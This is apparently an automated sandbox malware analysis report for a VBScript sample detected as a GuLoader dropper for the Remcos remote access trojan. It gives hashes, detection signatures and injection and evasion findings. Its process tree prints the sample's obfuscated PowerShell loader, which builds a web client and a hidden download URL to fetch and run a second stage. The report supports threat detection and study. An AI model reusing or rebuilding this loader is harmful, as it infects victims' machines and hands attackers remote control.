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Windows
Analysis Report
Strait STS.vbs
Overview
General Information
| Sample name: | Strait STS.vbs |
| Analysis ID: | 1573519 |
| MD5: | e6c71bbe4f758fb7c79ac21e9c514977 |
| SHA1: | 8a491650c20b51b8ccaeb4d76464b01ab1f15ef7 |
| SHA256: | 96e58c4ebcebd2972a1f50671fe2c43a89caa4c078767952ddcade51985d4a3f |
| Tags: | GuLoadervbsuser-abuse_ch |
| Infos: |   |
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Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Remcos
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Potential malicious VBS script found (suspicious strings)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Msiexec Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 880 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Strai t STS.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 2356 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" ";$Ndhjlps ='Kontinen talsokkel' ;;$Klauber 101='Catad ioptrical' ;;$Marksme n='Kalfakt orens';;$U nlivablene ss='Limewo rt';;$Proc toplastic= $host.Name ; function Exposes($ Kataloger) {If ($Proc toplastic) {$Cognaca gtigeres=' Corollaceo us';$Unint elligently 103=4;$cre doerne=$Un intelligen tly103}do{ $Defeats+= $Kataloger [$credoern e];$credoe rne+=5} un til(!$Kata loger[$cre doerne])$D efeats}fun ction Nonp recipitati on225($Civ vy){ .($he sperornith id) ($Civv y)}$Undere kstremitet en=Exposes 'Le.iNKom pESubtt C. e.Depow';$ Underekstr emiteten+= Exposes 'b roneAn eb s mCUntolW aleiSidsef otoNOv rT' ;$Chemothe rapy=Expos es 'NondMT resoEarlzO ocyi indlF riglT etak om /';$Val sk=Exposes ' PreTEme lStubsTra g1 tim2';$ Gevandtern e='E fa[ H ulnBraiE G dT V b.Di laSS ereEn darUnruv . reIbeboC f saETermPSy geO BroiPi roNDuodtBa reM CocAWr tN ,ona M .lGAlabea terHols]Au gm:Aftv:Ri gssDekaEN ffCUltrU,t omROut i S mytD ngyMe rcPDomerU. efOAtriTf, glORaadcNe ,roBeyol F ej=Batt$ f lav TotARa n LSvrls,j reK';$Chem otherapy+= Exposes 'C a o5 A,b.S k b0 Xen I ,te(DingWe lskiRequnD rifdudmaoT mniwGrnssO ,by ,oflNB ur.TZone C amo1Spur0R ln.Groi0. nth;Sfi ac toWBu diHa ywnF,rv6G, ni4Skat; G ,e ParaxGu df6K.us4A st; opr di onrMic vOm t :F,id1St or3Nykk1Re ca.,prn0De la) Cen Ou tG Ap eSrs kcDotik Ni coA,ou/Bal l2Brag0 Fo r1 Leu0Tim s0Band1 Sy 0Mamm1Con d PsaFDyre iAndrrEnsl eHincfSan o bemxAnal /Myos1Soci 3Kalo1Bavl .Derm0';$E rhvervssyg dommene=Ex poses 'Mar gUA foSTum ieImpornan i- DogAImp lGFluoE Ko lnPu.pt';$ Ridablenes s=Exposes 'Miljh Shi t nultRubb p vasergs: L.dg/Voci/ OutroCutlf Wall1Hgt x Redi.Cafii Repocglobu f,ng/Ydrer t lbx SerH B llERo kj Lin EAn kY PimpEUnde/ ChifNDepri D.kc entk Unive Gy.l Kri i Ovez termaLykkt IndbiFusio Etikn Lep. K.nfcKrels No.v';$Sa mariterudd annelse=Ex poses 'Nid s>';$hespe rornithid= Exposes ' ineIStrue oncx';$Arb ejdstilbud 216='Delel ejligheds' ;$Stenvind enes49='\h uguenotism .Bed';Nonp recipitati on225 (Exp oses ' Sac $BikagBond lThe O,ono B mpea bel Lupsl:Ileo mThomoletm DSubfEev l NFunkHArki e nrDI peE SeksROrd N BolseUmedS T,as= Kl.$ Inkerefrn Deutvd hy: lollATa nP utPl ddDA delaFod Tb tuaP,ja+P lag$mokeSA dretPr aEn vernHoveVI nfri SanNC hacdKroeE CooN KameN on Sconc4 Cap9');Non precipitat ion225 (Ex poses 'Non $ TecGRen tlKuldonon dBBe aaFis kL Und:Ko, en oesa.or hRFi ucSmu dODepaS Hy dIM loSIli o=Hove$Cro sR opnISup eDTilsaTer eB NonlIde e M snFor seKanaSInk usTra .dic ,sbolip ne fLHemaIRif ft Ou ( V r$FaldS Co ha VarmPri vaOutwrAnn eiSto T Ap teh,emrmor uUCystD il dBilbA Mon NTinsNK.at ELoseLMed sClime Rip )');Nonpre cipitation